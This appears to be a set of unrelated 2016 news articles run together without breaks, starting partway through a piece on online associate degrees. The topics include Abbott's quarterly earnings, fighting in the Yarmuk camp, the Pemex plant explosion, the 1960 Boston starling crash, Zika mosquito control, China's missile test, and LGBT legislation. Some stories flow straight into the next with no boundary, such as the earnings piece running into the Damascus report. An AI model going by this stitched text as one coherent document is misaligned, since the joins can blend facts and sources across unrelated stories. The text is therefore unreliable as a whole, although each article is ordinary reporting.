"They'll start with an associate's, get that credential a little bit quicker to help them get a bump up in their job, and then they might consider a bachelor's afterwards," Foster says.

While universities such as Penn State and Kaplan University, a for-profit school, offer some online associate degree programs, earning an online degree from a community college is another option.

In the 2014-2015 school year, the number of students enrolled in online classes at community colleges continued to rise, increasing by 4.7 percent -- the same rate as the previous year, according to a 2015 survey by the Instructional Technology Council, which is affiliated with the American Association of Community Colleges.

After determining whether online learning is right for them, prospective associate degree students should ask themselves or school officials these questions -- or find the answers online -- to ensure that they select a best-fit online program.

1. Will credits easily transfer to and from the online program? In many cases, those who pursue associate degrees are returning to school to finish earning credits and complete an education they started in the past, says Betty Vandenbosch, president of Kaplan University.

"Many universities have relatively liberal policies, but you want to be sure that the credits that they say they are going to give you, they actually will give you," Vandenbosch says.

[Learn why to do your research before transferring from community college.]

Jeff Bauer, who earned his associate degree online through Penn State--World Campus in 2014, strongly advises students to look at credit transfer policies before enrolling.

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"Try and find a way to use those credits so that you're not racking up more debt or spending more time in school than you need to," says the 32-year-old Minnesota resident.

Experts also say prospective students should remember that even if they aren't completely sure of their future educational plans, they should determine whether credits from a certain online associate degree program can seamlessly transfer to a bachelor's degree program, whether it's online or in person.

2. Should you enroll in an online associate's degree program through a community college or a university? Since different types of institutions offer associate degree programs, students should do some research beforehand to determine the right fit, experts say.

While the differences can vary, community colleges are usually a cheaper option but typically don't have the same type of brand recognition and reputation as a well-known university. Still, there are advantages to each.

For some students, this decision might come down to what specific programs they are looking for and where those are offered, says Foster, of Penn State.

3. What are your career or educational goals? Those who might be interested in a bachelor's degree program in the future, for example, may want to consider programs like those offered at Kaplan, where they would be able to "stack" a bachelor's degree on top of their associate degree without having to transfer.

But many community colleges have options to make transferring easy, too. At Hudson Valley Community College in New York, which is part of the State University of New York system, all general education courses can transfer directly to four-year state universities, says Chris Helwig, dean of educational outreach and academic services at the school.



[Discover 10 reasons to attend a community college.]

At the same time, earning an associate degree can lead to quicker job advancement within a company, Foster says.

"You've got something that can show your employer that you're working towards a better education," she says.

4. What is the quality of the online student services? Prospective students should also determine what types of services are available to online learners. This may vary widely among community colleges and four-year institutions, especially as these types of schools often have different levels of funding to support students, experts say.

"You need a school that's going to support you," Vandenbosch says, "that's got education advisors that you can trust to help you on the rough patches, that's got a library that you can access 24/7, that provides tutoring, that provides a help desk."

5. Who are the faculty teaching the online courses? As with any online program, students should assess the faculty and determine whether they have experience teaching in this format, experts say.

[Look at three statistics when assessing online faculty.]

That's because there's more to teaching online courses than prospective students may realize, Helwig says, and a professor really needs to engage the students.

"It's not really about just taking your lecture and sticking it out there, and expecting someone will just read it and watch it," Helwig says.

Trying to fund your online education? Get tips and more in the U.S. News Paying for Online Education center.

Jordan Friedman is an online education editor at U.S. News. You can follow him on Twitter or email him at jfriedman@usnews.com.


Abbott Beat 1Q16 Estimates despite Strong Currency Headwinds

1Q16 takeaways

On April 20, 2016, Abbott Laboratories (ABT) released its 1Q16 earnings. After the announcement, Abbotts share price rose marginally by ~0.3% from $43.85 on April 19, 2016. Though the companys results exceeded analyst estimates, investor sentiments were impacted by the reported revenue decline and the heavy impact of currency headwinds on Abbotts performance.

In 1Q16, Abbott Laboratories earned revenues of ~$4.9 billion, registering a decline of 0.2% on a YoY (year-over-year) basis. The company registered diluted EPS (earnings per share) of $0.41, exceeding the earnings consensus estimate of $0.39 as well as the companys guidance range of $0.38 to $0.40.

The decline in revenues included the negative impact of around 5.3% attributable to foreign exchange. Thus, the companys operational revenues increased by ~5.1%. All the business segments reported growth in operational revenues with the highest revenue increase from its Established Pharmaceuticals segment at 11% followed by diagnostic division sales growth of 6.9%. Nutrition and medical device segments registered revenue growth of 4.3% and 0.5%, respectively.

Abbott Laboratories peers such as Boston Scientific (BSX), Thermo Fisher Scientific (TMO), and Becton Dickinson (BDX) are expected to earn revenues of about $1.9 billion, $4.1 billion, and $3.1 billion, respectively, for 1Q16.

Geographical sales

1Q16 US sales saw growth of ~1.9%, whereas the international sales increased by ~6.6% on a constant currency basis. The currency adjusted international revenues, however, fell by ~1.2% on a YoY basis. The strong operational revenue growth in the international markets was led by the Established Pharmaceuticals, Diabetes Care, and Diagnostics divisions. US sales, however, grew because of the strong performance of Point of Care Diagnostics, Medical Optics, and the Nutrition business.

For a detailed discussion on Abbott Laboratories fundamentals, business segments, and growth strategies, read Heres to Your Health: An Insiders Tour of Abbott Laboratories.

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Investors interested in Abbott Laboratories can invest in the SPDR S&P 500 ETF (SPY) to gain diversified exposure to the company. Abbott Laboratories accounts for about 0.36% of SPYs total holdings.

Continue to Next Part

Browse this series on Market Realist:
Damascus (AFP) - The Islamic State group has almost evicted rival Al-Qaeda jihadists from a Palestinian camp in southern Damascus after two weeks of clashes, a Palestinian official said on Friday.

"Daesh has chased Al-Nusra, its former ally in the Yarmuk camp, from 90 percent of the territory it controlled," the Palestine Liberation Organisation chief in Damascus, Anwar Abdel Hadi, said, using an Arabic acronym for IS.

Fighting between IS and Al-Nusra over the past two weeks in the camp has also killed five civilians and wounded 20. Abdel Hadi said he did not have a toll for casualties among the fighters.

Once a thriving district that was home to some 160,000 Syrians and Palestinians, Yarmuk has been devastated since late 2012.

The Syrian army imposed a tight siege on the camp that reportedly led to deaths because of shortages of food and medicines.

Al-Nusra and IS had together controlled 70 percent of Yarmuk since April 2015, according to the PLO official.

Palestinian factions and pro-government forces -- who control the rest of the camp -- did not take part in the latest fighting.

The Palestinian official said some 6,000 civilians remain in Yarmuk alongside around 3,000 IS fighters there and in the nearby Hajar al-Aswad neighbourhood. Al-Nusra has around 300.

Chris Gunness, spokesman for the UN aid agency for Palestinians, said on Thursday ending the fighting and humanitarian access to Yarmuk was needed urgently.

"Residents in Yarmuk remained trapped, humanitarian conditions are dire," he said.

"UNRWA remains concerned about reports on the lack of access to fresh water."
By Frank Pingue (Reuters) - It may not be the same plot as the Cold War-themed "Rocky IV" movie but Deontay Wilder is deterimined to emerge victorious when he becomes the first reigning American heavyweight champion to travel to Russia to defend his title. Wilder will defend his WBC title against Russia's Alexander Povetkin in Moscow on May 21 and the longstanding rivalry between the two countries in international sport, one that is often fueled by political difference, was not lost on him. "My expectation is, of course, to win. To come back with that victory for America," Wilder said during a workout in front of the media this week. "This is a big fight, not just for myself, for America. It's like Russia vs. America." In "Rocky IV," Sylvester Stallone's character, Rocky Balboa, went to Russia at the height of the Cold War to avenge the death of his friend, Apollo Creed, at the hands of Russian boxer Ivan Drago. The resilient fighter won the fight and the support of a previously hostile Soviet crowd. Wilder (36-0, 35 KOs) admitted it would have been easier for him to fight Povetkin (30-1, 22 KOs) in the United States but prefers to travel the world and defend his title. "I've been getting nothing but positive feedback from fans all over. Even if they weren't a fan of Deontay Wilder they are now for this very fight," said Wilder, the first American heavyweight champion in nearly a decade. "Hopefully I can win them over to stay a fan of Deontay Wilder after this fight. ... It's a great thing that we're going over to Russia defending my title in somebody else's backyard." The charismatic Wilder, a 2008 U.S. Olympic bronze medalist who won the WBC heavyweight title in January 2015 with a unanimous decision over Haitian-born Canadian Bermane Stiverne, said anything less than a knockout of Povetkin is unacceptable. He is also not losing sleep over fighting in front of a pro-Povetkin crowd. "I don't have any concerns. I don't let my brain sit back and think about if I don't knock him out or are they going to rob me, or anything like that," said Wilder. "I just don't want my mind to be on that when I'm in a fight. I want to have a clear mind. I want to go in there and do what Deontay is capable of doing." (Reporting by Frank Pingue in Toronto; Editing by Larry Fine)
Lagos (AFP) - Amnesty International on Friday accused Nigeria's military of deliberately shooting dead more than 350 Shiite Muslims, burying them in mass graves and destroying evidence of the crime.

The rights group also dismissed as baseless army claims that the protesters from the Islamic Movement of Nigeria (IMN) group wanted to kill the head of the army before the clashes last December.

The military, which has been repeatedly accused of abuses against civilians in its fight against Sunni Muslim jihadists Boko Haram, has maintained its troops acted appropriately.

Defence spokesman Brigadier General Rabe Abubakar said Amnesty's report was "unfair" as the military had not been consulted before its publication.

"If they have proper evidence let them bring it out for all to see. We cannot confront law-abiding citizens," he told AFP.

"Whoever we confronted must have been a criminal and enemy of the state."

There have been fears the military action against the Shiite group in Zaria could trigger another violent uprising similar to that of Boko Haram, whose insurgency has left some 20,000 dead since 2009.

Amnesty's report -- "Unearthing the truth: unlawful killings and mass cover-up in Zaria" -- comes in the wake of conflicting claims about the violence in the northern city.

- Evidence destroyed -

Two days of violence began on December 12 when IMN supporters of the pro-Iranian cleric Ibrahim Zakzaky attending a religious ceremony refused to allow the chief of army staff's convoy to pass.

Amnesty said its investigations indicated the military acted "unlawfully" by shooting "indiscriminately" at unarmed protestors.

"It is not clear why the army launched such a 'military operation' in response to a law and order situation," the report said.

"The Nigerian army has provided no evidence to substantiate its claim that IMN protesters attempted to assassinate the Chief of Army Staff."

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It added: "The Nigerian military burned people alive, razed buildings and dumped victims' bodies in mass graves."

Most of the evidence was "meticulously destroyed", Amnesty said, accusing soldiers of trying to cover up the carnage by limiting access to conflict sites.

"Bodies were taken away, sites were razed to the ground, the rubble removed, bloodstains washed off, and bullets and spent cartridges removed from the streets."

Soldiers sealed the areas around Zakzaky's compound, which was destroyed with a cultural centre, and the site of the street protests for several days.

Medical personnel at the Ahmadu Bello University Teaching Hospital said the military cordoned off the area around the morgue for two days.

- Mass grave -

A Nigerian public official said last week that 347 people, including women and children, were buried in a mass grave under military supervision and authorised with a court warrant.

The testimony came at one of several public inquiries set up to investigate the circumstances of the violence, which has led to scores of IMN supporters being charged.

Nigerian media on Thursday said prosecutors in Kaduna were seeking the death penalty for 50 IMN members for killing a soldier in the initial incident in Zaria.

Amnesty provided satellite images purporting to show the location of a "possible mass grave" in the Mando area near the state capital, Kaduna city, approximately 80 kilometres (50 miles) away.

Despite President Muhammadu Buhari's pledge to investigate evidence of war crimes, "to date no concrete steps have been taken to end endemic impunity for such crimes", Amnesty said.

Zakzaky, who lost one eye and was partly paralysed in the violence, has been held incommunicado since December without access to his lawyers until recently.

He has previously fallen foul of Nigeria's secular authorities and been imprisoned for calling for an Iranian-style revolution to create an Islamic state in the north.
Experts believe that China's action implies that it is in a pressure spot, as more nations appear to be rallying to the Philippines' cause. (Photo : Getty Images)

Beijing is courting Moscow for its support in the international court proceedings that surround the disputed South China Sea, according to an article by the South China Morning Post.



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Foreign Minister Wang Yi called on his Russian counterpart Sergey Lavrov to jointly oppose the "internationalizing" of the dispute.



"Both China and Russia should stay on guard against abuses of mandatory arbitration," said Wang on Tuesday, April 19.



In a communique released after a meeting between Lavrov, Wang, and Indian External Affairs Minister Sushma Swaraj, it was stated that all related disputes involving the South China Sea must be addressed through peaceful negotiations and agreements. However, neither India nor Russia has anything to do with the coveted sea.



Experts believe that China's actions that seek Russia's aid are part of the preparations for the court ruling of the proceedings launched by the Philippines, expected to be released May or June of this year. In addition, it implies that China is in a pressure spot, as more nations appear to be rallying to the Philippines' cause.



"China is almost isolated in the saga," said Li Xing, a professor of international relations at Beijing Normal University, told SCMP. "As strategic partners, China and Russia are taking care of each other's core interests and coordinating."



Lavrov has already expressed last week that the South China Sea tensions must not be internationalized. However, Russia has yet to respond to give China its support. After all, the nation is embroiled in its own lawsuit at the Permanent Court of Arbitration regarding the right to operate a passenger airport in Crimea.



Whatever the court ruling from the Permanent Court of Arbitration in The Hague is, it must be binding, said Hugo Swire, British minister of state responsible for East Asia.



Earlier this month, the European Union called on China to respect the proceedings and the eventual ruling of the international tribunal.



Foreign ministers from the members of the Group of Seven have also expressed concerns over the tensions in the South China Sea.


Coatzacoalcos (Mexico) (AFP) - Anguished relatives nervously awaited news of their loved ones outside a Mexican petrochemical plant where an explosion killed at least 24 people and sent toxic smoke billowing into the air.

Starting at dawn, family members flocked to a military cordon set up around the plant after Wednesday's explosion, which blew out the windows of nearby stores and homes and triggered panic among locals still haunted by a deadly blast at the same facility 25 years ago.

About 300 people gathered outside the plant in Coatzacoalcos, in the eastern state of Veracruz, some weeping loudly, some scuffling with soldiers.

"We want them to cut to the chase and give us (our relatives). If they don't let us through, we'll force our way in," said Guadalupe Torres, whose 21-year-old brother Fernando was working at the plant and was among the missing.

The CEO of state-run oil giant Pemex, which co-owns the plant, said the death toll had climbed to 24 on Thursday evening, up from the previous number of 13, after authorities were able to enter the facility.

There were eight people still missing, Jose Antonio Gonzalez Anaya told a news conference.

Many outside the plant said they feared the real number of missing was far higher.

A worker who survived the explosion told journalists some 300 employees were on site when the blast occurred.

"I was out back when the first explosion came. We saw the windows collapse, the iron bars crumple, because (the facilities) are extremely old," he said.

"When the second explosion happened, I saw bodies fly off the scaffolding."

The Pemex CEO said the explosion was caused by a gas leak.

The plant, known as Petroquimica Mexicana de Vinilo (PMV), "uses flammable materials like chlorine and ethanol but we do not know the cause of the leak," he told Televisa television.

Pemex co-owns the plant with a private company, Mexichem, which operates the facility.

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An employee of a contractor at the site, Jose Antonio Galicia, said the plant had been registering leaks for weeks.

- Schools closed -

The release of toxic columns of black smoke sowed panic in the area as officials initially warned residents to stay indoors.

But Mexican authorities and Pemex officials later said the cloud posed no threat to the population.

Around 2,000 evacuated residents returned home Thursday, and life in the town was returning to normal as the dissipating cloud drifted into the distance -- though schools remained closed.

President Enrique Pena Nieto sent his condolences to victims' families and announced he would visit the site.

The death toll could rise further as 136 people were injured, 13 of them critically.

Soldiers eventually began allowing small groups of family members through the security cordon to ask about their relatives' fate.

- 'Time bomb' -

Some residents were still in shock.

"I left my house running. I thought the whole city was going to catch fire," said Marcela Andrade Moreno, whose windows were blown out.

Other terrified locals feared a repeat of the 1991 explosion at the same facility. The death toll from that incident officially stands at six, although local media insist the number is much higher.

"We live in a time bomb," said Abelardo Garduza, a merchant from the village of Allende, located a few kilometers from the plant.

Pemex has had to deal with several deadly accidents at its land-based and offshore facilities in recent years.

Even its headquarters - a skyscraper in the heart of Mexico City - was hit in January 2013 by a blast caused by a gas buildup, killing 37 people.

Accidents have hit several oil rigs in the Gulf of Mexico, while fires have erupted in pipelines after fuel thieves punctured them.

In February, two people were killed and at least seven injured in a blaze at a Pemex oil platform off the coast of Campeche, also in the southeast.

Pemex provides one-fifth of the Mexican government's revenue but has posted huge losses amid crumbling production and oil prices.

The government has implemented a sweeping reform of the energy sector which opens it to foreign investors for the first time in decades and partly aims to help modernize ahing infrastructure.
Twitterearthday

Astronauts who have gazed at Earth from above have a unique perspective on our home planet.

On Friday, astronauts on the planet and in orbit around it have been sharing their favorite photos of Earth from space on Twitter, revealing the planet's fragile atmosphere and beauty from 220 miles up.

SEE ALSO: Earth Day finally means something: Nations sign climate deal, vow to speed up implementation

British astronaut Tim Peake wished the world a happy Earth Day from his post on the International Space Station.

Some astronauts who flew to space previously are using the holiday as a time to show off their favorite photos.

Astronaut Scott Kelly, who recently came back to Earth after spending 340 days on the Space Station, is also celebrating Earth Day on Twitter.

Kelly has said that viewing the planet from above changed how he sees the Earth now that he's back home, and made him more of an environmentalist.

"You also notice how the atmosphere looks and how fragile it looks," Kelly said in a press conference after he returned to Earth. "It makes you more of an environmentalist after spending so much time looking down at our planet."

Kelly's twin brother and fellow former astronaut Mark Kelly also appears to have warm and fuzzy feelings about our home planet.

And plenty of other astronauts wanted to share their love of Earth to celebrate the day.
Half an hour before the sun was to set over the yachts anchored in Winthrop Harbor on the clear, golden evening of Oct. 4, 1960, a noise like a sonic boom exploded the glassy calm as residents sat down to their suppers. The boom was the sound of a Lockheed L-188 Electra, bound from Bostons Logan Airport to Philadelphia, slamming into the water.

More than 60 passengers and crew from Eastern Airlines Flight 375 would wind up in the Boston mortuary. And while the official cause of death listed may not have been William Shakespeare, one of his plays is the setting of the disasters first act. As we mark the 400th anniversary of the Bards own death, its also worth remembering his unfortunate connection to a largely forgotten real-life tragedy. A butterfly flaps its wings in Shakespeares mind in the late 1590s, and 365 years later, the Electra plunges into Winthrop Harbor, sparking what remains one of the largest and most remarkable rescue efforts the city of Boston ever witnessed.

Starlings may be small, but they are considered a lethal threat by aviation experts.

Despite penning close to 40 plays and 900,000 words, Shakespeare makes but a single reference to the starling. From the nightingale to the lark, birds appear in many of his plays, but it is only in the somewhat obscure Henry IV, Part 1, that the starling makes its brief appearance when the rebel Hotspur proclaims that he will train a starling to drive the king crazy by repeating the name of his imprisoned brother-in-law, Mortimer, whom the king refuses to ransom. The seed of a calamity is planted, even if not in the kings ear.

Common, or European, starlings are small, dark, thickset birds with white speckles best known for their often obnoxious ability to mimic almost anything they hear, from alarms to dogs barking, as well as a tendency to hang out in enormous groups, called murmurations, that can number in the thousands. They are native to Europe, including Shakespeares England, but not to North America, where an estimated 200 million live today.

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For that, we have a bird/Bard-loving eccentric named Eugene Schieffelin to thank. A wealthy New York drug manufacturer, Schieffelin was head of the American Acclimatization Society, one of many 19th-century groups dedicated to introducing European plants and wildlife into North America. You see, Europeans living abroad missed their native birds, Kevin McGowan of the Cornell Laboratory of Ornithology tells OZY. This sentimentality often had disastrous consequences, such as the avian malaria carried by nonnative birds that wiped out many native Hawaiian species.

Which is how Hotspurs fanciful starling, nesting in the private library of a Bronx pharmacist, managed to beget millions of glossy-feathered descendants in North America. One winter day in 1890, Schieffelin, as part of an ambitious project to introduce every avian species mentioned in Shakespeare into the U.S., released about 60 starlings into Central Park, hoping they would go forth and multiply. Boy, did they ever, colonizing America much faster than their human European counterparts had ever managed.

By 1930, the murmurations had reached the Mississippi; by 1950, they were nationwide, driving out native American species like bluebirds and woodpeckers. Starlings, as McGowan explains, are heavier and more muscular than other birds their size, so they fare very well in the perpetual avian competition for nest sites. One of the starlings favorite American nest sites was Bostons Tobin Bridge, where a murmuration of around 160,000 birds would flock at sunset.

Tobin Bridge was likely the final destination for the outbound flight of some 10,000 to 20,000 starlings that collided with Flight 375 that fateful evening in 1960. As Michael N. Kalafatas documents in Bird Strike, the Electra hit the avian cloud just seven seconds after takeoff, sucking hundreds of birds into three of its four engines. It happened so quickly the pilots did not utter a word to the Logan control tower as the plane rolled and crashed almost vertically into the harbors shallow water.

The scene of the accident was horrific. Many of the passengers were trapped underwater with their seat belts fastened. The bird strike resulted in 62 deaths, and there would have been more had not local residents waded into the thick mud to form a human chain to rescue survivors. Among the passengers were 15 newly inducted Marines and an Air Force engineer with top-secret missile system plans in a locked briefcase.

Starlings may be small, but when in large numbers, they are considered a lethal threat by aviation experts. Fast-flying and relatively dense, writes Kalafatas, a single starling can be a feathered bullet; a swarm of the birds is a feathered fusillade.

Starlings have also been known to transmit disease, consume cattle feed and entire wheat fields and cost U.S. agriculture around $1 billion a year in crop damage. When sorrows come, as Shakespeare put it in Hamlet, they come not single spies, but in battalions. Or in murmurations, as the case may be.

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By Kate Kelland LONDON (Reuters) - The World Health Organization (WHO) called on Friday for pilot projects to test two experimental ways to curb Zika-carrying mosquitoes, including testing the release of genetically modified insects and bacteria that stop their eggs hatching. Zika virus, which is sweeping through the Americas, is transmitted primarily by the Aedes aegypti mosquito, which the U.N. health body has described as an "opportunistic and tenacious menace". Finding the most effective ways to control these mosquitoes could be a major boost to the fight against the disease, the WHO said in a statement. After convening a meeting of its Vector Control Advisory Group (VCAG) earlier this week, the WHO said its specialists had reviewed five potential new weapons against Aedes mosquitoes. Three - including sterile insect technique, vector traps and toxic sugar baits to attract and kill mosquitoes - were still too experimental to consider for scaled-up pilot projects, the WHO said. But a further two - releasing mosquitoes carrying Wolbachia bacteria, and using genetically modified, or transgenic, male mosquitoes to suppress the wild population - "warrant time-limited pilot deployment, accompanied by rigorous monitoring and evaluation". The WHO in February declared the Zika virus an international public health emergency due to its association in Brazil with suspected cases of birth defects known as microcephaly, in which babies are born with abnormally small heads. Brazil authorities have said they consider most of the cases of babies born with abnormally small heads to be related to Zika, though the link between the virus and the birth defects has not yet been scientifically established. Brazil said on Friday the number of confirmed and suspected cases of microcephaly in Brazil associated with the Zika virus has risen to 5,131 from 4,976 a week earlier. Of these, the number of confirmed cases climbed to 863 from 745 a week earlier. Transgenic mosquitoes developed by Oxitec, a British subsidiary of Intrexon, are genetically modified so their offspring will die before reaching adulthood and being able to reproduce. Wolbachia bacteria, which do not infect humans, cause the eggs of female mosquitoes that mate with infected males to fail to hatch. Mosquitoes carrying Wolbachia have been shown to reduce transmission of dengue fever, another mosquito-borne disease. (Editing by Ruth Pitchford)
Libreville (AFP) - Boko Haram have claimed responsibility for twin suicide bombings in Chad's capital N'Djamena that left 38 people dead, the SITE Intelligence Group reported Wednesday.

In a statement in Arabic posted on Twitter, the jihadist group identified two suicide bombers who it said carried out the June 15 attacks, the first in the capital of a country that has taken a leading role in a regional offensive against Nigeria-based Boko Haram.

The bombers, who blew themselves up with explosive belts, had targeted the police academy and police headquarters in N'Djamena, the statement added. It was signed by "Islamic State, West Africa Province", as Boko Haram has styled itself since pledging allegiance to the Islamic State group in March.

Chad bombed Boko Haram positions in Nigeria following the bombings and launched a domestic security crackdown. Authorities in the Muslim-majority country also banned women from wearing the full-face Muslim veil.

Troops from Nigeria, Chad, Niger and Cameroon have been fighting Boko Haram insurgents in northeast Nigeria for several months and have claimed a string of successes.

But a recent surge in an attacks has left analysts suggesting a decline in the intensity of operations has allowed the rebels to regroup and rearm.

The six-year insurgency has claimed at least 15,000 lives.
United Nations (United States) (AFP) - President Dilma Rousseff voiced confidence Friday that Brazil's people will "be able to prevent any setbacks" to democracy as she battles a bid to impeach her.

"Brazil is a great country endowed with a society that was able to overcome authoritarianism in the past," Rousseff said at the United Nations during a ceremony for the signing of the Paris climate deal.

"Ours is a hard-working people. We have great esteem for freedom. I have no doubt that our people will be able to prevent any setbacks," she said.

Rousseff is fighting for her political survival at home following allegations that she used illegal accounting maneuvers to mask budget deficits during the 2014 election year.

The leader has denied the charges and spoke of a "grave serious moment" in Brazil at the end of her remarks devoted mostly to climate change.

The president thanked "all the leaders who have expressed their solidarity to me."

While in New York, Rousseff left Vice President Michel Temer in charge even though she has accused him of conspiring to oust her.

The Brazilian Senate is due to vote on opening a trial next month, a vote that would force Rousseff to step aside for 180 days and put Temer back in the executive office.

After that, a two-thirds majority vote would be enough to oust her permanently, leaving Temer to serve out her term, which ends in late 2018.
The controversial anti-LGBT legislation recently passed in North Carolina and Mississippi could have an impact beyond U.S. borders, with America's friends across the Atlantic now weighing in on the ongoing debate.

The British Foreign Office this week issued a warning to all LGBT travelers about visiting the two U.S. states.

"The U.S. is an extremely diverse society, and attitudes toward LGBT people differ hugely across the country," it wrote as an advisory on its website. "LGBT travelers may be affected by legislation passed recently in the states of North Carolina and Mississippi. Before traveling, please read our general travel advice for the LGBT community."

The website also links to the Human Rights Campaign, a U.S. organization that has been critical of both states.

The news adds to the growing noise surrounding the divisive laws, with the likes of Bruce Springsteen, Pearl Jam, Ringo Starr and Cirque du Soleil all recently canceling performances in North Carolina. Despite disapproval from the TV and film industries, projects due to shoot in the two states have yet to say whether they will relocate their productions.

Read More: Fox, History Shows Will Continue Filming in North Carolina Despite Anti-LGBT Law
China Test-fires Missile That Could Target All of US: Pentagon Official

China test-fired its intercontinental ballistic missile. (Photo : Getty Images)

China test-fired its new long-range ballistic missile which can destroy the entire United States, a U.S. media outlet said on Wednesday.



According to the Washington Free Beacon, unidentified Pentagon officials revealed that the Asian country had been working on a weapon that can take on any target worldwide.



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According to the outlet, China test-fired the weapon on Tuesday, April 12, amid rising tensions between Beijing and Washington over the former's territorial disputes in the South China Sea.



China's Missile



The sources identified the missile as the Dongfeng-41 (DF-41), an intercontinental ballistic missile that has a minimum range of 12,000 kilometers, allowing it to strike anywhere in the U.S. even from eastern China.



According to the outlet, the ballistic missile contained two multiple, independently targetable re-entry vehicles that are capable of carrying about six to 10 warheads.



"China is re-engineering its long-range ballistic missiles to carry multiple nuclear warheads," U.S. Strategic Command commander Adm. Cecil Haney stated on Jan. 22, adding that the weapons were part of the Asian country's investment in nuclear and conventional power.



According to the Washington Free Beacon, China tested out its new missile just around the time when the vice chairman of the Central Military Commission Gen. Fan Changlong visited the Fiery Cross Reef in the disputed Spratly Islands.



The U.S.'s Reaction



China military affairs analyst Rick Fisher told the Washington Free Beacon that it was clear that U.S. President Barack Obama's call for reducing nuclear weapons will not be "reciprocated by China, Russia, North Korea or Iran."



Furthermore, Fisher believes that there will be no peace due to China and Russia's increasingly close military ties that focuses on beating the U.S.



Because of this, Fisher thinks that Washington "must quickly reintroduce tactical nuclear forces back to the Navy and Army" to deter any nuclear attack from the Asian country.



Fisher's idea may have already been set in motion considering how the United States is "beefing up" its reach in the region, especially after revealing its plans on deploying a Terminal High Altitude Area Defense (THAAD) system in South Korea.



According to the South China Morning Post, the employment of an advanced THAAD in the southern half of the Korean Peninsula was aimed at preventing any attack from the North.



Pentagon was quick at clarifying that the weapon was not aimed at China and is merely a defensive maneuver against any nuclear activity in the region after Beijing protested against its deployment.






LONDON (Reuters) - Two Britons inspired by Islamic State who plotted to kill police officers and soldiers in drive-by shootings in London were given life prison terms on Friday and told they would spend at least 20 years in jail. Tarik Hassane and Suhaib Majeed, both aged 22, planned to shoot soldiers at an army base in west London or officers at a nearby police station using a pistol fitted with a silencer fired from a moped. Police said civilians could also have been killed. Judge Justice Alan Wilkie said it was "shocking, tragic and deplorable" that two young British men "should be so influenced by the bloodthirsty version of Islam, presented by ISIS (Islamic State, IS) and other similarly minded groups, (that they) decided to take up arms against fellow British citizens". Majeed was found guilty of conspiring to murder and preparing for acts of terrorism at London's Old Bailey court last month while Hassane admitted the same charges halfway through his trial. Both men were jailed for life, with Hassane told he will spend 21 years in prison before being considered for release, while Majeed will serve at least 20 years. Hassane, a medical student nicknamed "The Surgeon", directed the plot from Khartoum, Sudan, where he was studying, contacting his schoolfriend Majeed whom police said had set up a sophisticated system of encrypted communications. Hassane was so determined to carry out the attack, he carried on with the planning even after Majeed and other suspects had been arrested. During sentencing, Wilkie revealed that Hassane had admitted travelling to Syria in 2013, spending time there with a friend who became a fighter and was later killed. Data from computers seized by police showed Hassane had pledged allegiance to IS in July 2014. (Reporting by Michael Holden; editing by Stephen Addison)
Ancient stone blocks depicting Queen Hatshepsut have been discovered on Egypt's Elephantine Island, providing insights into the early years of her reign, Egypt's Ministry of Antiquities announced this week. The blocks may have been part of a building that served as a way station for an ancient Egyptian deity.

On several of the blocks, Queen Hatshepsut was represented as a woman, according to the Ministry, suggesting that the blocks and building it came from were erected during the early part of the first female pharaoh's reign, which lasted from 1473 B.C. to 1458 B.C. Later in her reign, the queen was depicted as a male.

Mentions of Queen Hatshepsut were erased and monuments bearing her image were defaced after her death, and her female figure was replaced with images of a male king: her deceased husband Thutmose II. It is believed that her co-ruler and stepson/nephew Thutmose III ordered the change. [Photos: The Beautiful Sarcophagus of an Egypt Pharaoh]

It was unusual for a woman to become pharaoh of Egypt. As Egyptologist Ian Shaw noted in his book "Exploring Ancient Egypt" (Oxford University Press, 2003), "In the history of Egypt during the dynastic period (3000 to 332 B.C.) there were only two or three women who managed to rule as pharaohs, rather than wielding power as the 'great wife' of a male king."

And she was a builder: In his National Geographic feature on Hatshepsut "The King Herself," Chip Brown wrote about her legacy, and said she was "one of the greatest builders in one of the greatest Egyptian dynasties." During her reign, Hatshepsut erected and renovated many temples and shrines to the gods.

In fact, the newfound blocks likely were part of a previously unknown building of Queen Hatshepsut that was discovered this year by the German Archaeological Institute, said Mahmoud Afify, head of the Ancient Egyptian Antiquities Sector, in the Ministry of Antiquities' statement on Facebook. In previous excavation seasons at the same site, members of the Swiss Institute also discovered some blocks that may have come from the same building.

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The building would have served as a way station for the festival barque of the god Khnum, said Felix Arnold, field director of the Elephantine Island mission. In ancient Egypt, "barques," or sacred boats, were used to help carry the dead to the afterlife.

Based on the discoveries thus far, in the same statement, the Ministry of Antiquities described the building's construction as a chamber for the barque of the god Khnum, which is surrounded by pillars on all four sides.

"On the pillars are representations of several versions of the god Khnum, as well as other gods, such as Imi-peref 'He-who-is-in-his-house,' Nebet-menit 'Lady-of-the-mooring-post' and Min-Amun of Nubia," according to the Ministry statement on Facebook. "The building thus not only adds to our knowledge of the history of Queen Hatshepsut, but also to our understanding of the religious beliefs current on the Island of Elephantine during her reign."

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This article was written by Caitlyn Jenner for WhoSay as part of an ongoing original series that explores issues and people in the LGBT community.



Hi friends,



There's a lot of news out there about bills in different state legislatures that are good or bad for the LGBT community. Lately, they've been mostly not-so-good bills. I've spent a lot of time thinking about what kind of message these harmful bills send, especially to transgender youth growing up in these states.



In North Carolina, the governor signed a law that, among other things, forces transgender people to use restrooms that don't match the gender they live every day. Mississippi recently passed a broad anti-LGBT bill which also includes language that would allow any business or employer to force transgender people into the wrong restroom, putting their safety at risk. New bills targeting LGBT people are now being debated in Tennessee and South Carolina, and on the horizon in Illinois, Kansas, Michigan, Missouri, and Washington state.







Let's back up a bit. Did you know that in over half of the states in our country, a person can be fired, denied housing or kicked out of a restaurant simply because they are gay, lesbian, bisexual, or transgender? There is no federal law that explicitly protects LGBT people from discrimination  only state and local laws. So, the LGBT community has to fight for those protections state-by-state, county-by-county, and city-by-city just to be able to live their lives free from discrimination.



In some places like Houston, Texas and Charlotte, North Carolina, we've won nondiscrimination protections, only to have the law repealed; in other states, there are legislators trying to pass anti-LGBT bills that make it easier to discriminate against gay, lesbian, bisexual, and transgender people.





Caitlyn Jenner Blogs About Anti-LGBT Legislature and the Importance of Safe Public Restrooms| Celebrity Blog, I Am Cait, People Picks, TV News, Caitlyn Jenner, Transgender

Most of these bills attempt to make it illegal for transgender people to use public bathrooms that match the gender they live every day. Using the restroom is something we all need to do, but these so-called "bathroom bills" are designed to make it difficult, if not impossible, for transgender people to simply go about their daily lives.



The legislators introducing these bills claim they are about public safety. But it's important to know that in the 18 states (and more than 200 cities) that have laws and ordinances protecting transgender people from discrimination, there have been no increases in public safety incidents. None. Why? Because there are laws in every state which make it illegal for anyone to enter a restroom to harm or harass people, or invade their privacy. Police use those laws to arrest perpetrators and keep people safe. Protecting LGBT people from discrimination doesn't change that!



